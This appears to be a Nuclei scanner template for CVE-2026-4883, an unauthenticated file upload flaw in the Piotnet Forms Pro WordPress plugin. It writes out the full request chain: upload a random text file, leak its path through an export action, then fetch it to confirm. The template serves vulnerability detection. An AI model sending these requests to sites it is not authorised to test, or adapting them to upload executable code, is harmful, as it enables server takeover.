id: CVE-2026-4883 info: name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE author: 0x_Akoko,xShadow-Here severity: critical description: | Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form. impact: | Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise. remediation: | Update to the latest version of Piotnet Forms plugin. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-4883 - https://github.com/xShadow-Here/CVE-2026-4883 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-4883 epss-score: 0.03063 epss-percentile: 0.87524 cwe-id: CWE-434 metadata: verified: true max-request: 3 vendor: piotnetforms product: piotnetforms-pro shodan-query: http.html:"piotnetforms" fofa-query: body="piotnetforms" tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev flow: | http(1); http(2); let raw = String(template["upload_path"] || ""); let f = String(template["fname"] || ""); let parts = raw.replace("[", "").replace("]", "").split(/[\s,]+/); let chosen = ""; for (let i = 0; i < parts.length; i++) { if (parts[i] && parts[i].indexOf("/" + f + "-") !== -1) { chosen = parts[i]; } } if (chosen !== "") { set("upload_path", chosen); http(3); } variables: fname: "{{to_lower(rand_base(5))}}" http: - raw: - | @timeout: 40s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF X-Requested-With: XMLHttpRequest Referer: {{BaseURL}}/ Connection: close ------WebKitFormBoundaryPF Content-Disposition: form-data; name="action" piotnetforms_ajax_form_builder ------WebKitFormBoundaryPF Content-Disposition: form-data; name="post_id" 1 ------WebKitFormBoundaryPF Content-Disposition: form-data; name="form_id" piotnetforms ------WebKitFormBoundaryPF Content-Disposition: form-data; name="fields" [{"name":"upload_field","value":"","file_name":["{{fname}}.txt"],"attach-files":0,"type":"file","image_upload":false,"label":"","repeater_id":"","repeater_index":0,"repeater_label":""}] ------WebKitFormBoundaryPF Content-Disposition: form-data; name="referrer" {{BaseURL}}/ ------WebKitFormBoundaryPF Content-Disposition: form-data; name="remote_ip" 127.0.0.1 ------WebKitFormBoundaryPF Content-Disposition: form-data; name="upload_field[]"; filename="{{fname}}.txt" Content-Type: text/plain {{fname}} ------WebKitFormBoundaryPF-- matchers: - type: dsl dsl: - 'contains(body, "\"status\":1")' internal: true - raw: - | @timeout: 30s GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1 Host: {{Hostname}} Accept: */* Connection: close extractors: - type: regex name: upload_path internal: true group: 1 part: body regex: - '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\.txt)' matchers: - type: dsl dsl: - 'contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")' internal: true - raw: - | GET {{upload_path}} HTTP/1.1 Host: {{Hostname}} Accept: */* Connection: close matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "{{fname}}")' condition: and # digest: 4a0a0047304502204450006cbdd5625641a188da0d1444e7a2a7344df01e21c002003550b9972320022100a961dbe0fddcab39a4011bcefe57ae5fadc49638fd85ffbdee3ff9539285fb83:922c64590222798bb761d5b6d8e72950